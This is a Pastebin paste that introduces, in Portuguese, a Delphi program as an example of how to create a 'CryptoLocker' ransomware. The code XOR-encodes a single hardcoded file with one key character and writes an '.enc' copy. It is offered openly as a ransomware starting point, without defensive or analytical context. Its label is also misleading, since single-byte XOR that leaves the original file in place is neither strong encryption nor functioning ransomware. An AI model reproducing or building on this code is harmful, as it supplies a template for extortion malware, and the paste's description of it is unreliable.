Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- Aqui está um exemplo de código Delphi para criar um CryptoLocker:
- uses
- Windows, SysUtils, Classes;
- const
- ENCRYPT_KEY = 'MySecretKey';
- procedure EncryptFile(const FileName: string);
- var
- FIn, FOut: TFileStream;
- ReadBytes, i: Integer;
- Buffer: array[1..1024] of Byte;
- begin
- FIn := TFileStream.Create(FileName, fmOpenRead);
- try
- FOut := TFileStream.Create(FileName + '.enc', fmCreate);
- try
- while FIn.Position < FIn.Size do
- begin
- ReadBytes := FIn.Read(Buffer, SizeOf(Buffer));
- for i := 1 to ReadBytes do
- Buffer[i] := Buffer[i] xor Ord(ENCRYPT_KEY[1]);
- FOut.Write(Buffer, ReadBytes);
- end;
- finally
- FOut.Free;
- end;
- finally
- FIn.Free;
- end;
- end;
- begin
- EncryptFile('MyFile.txt');
- end.
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement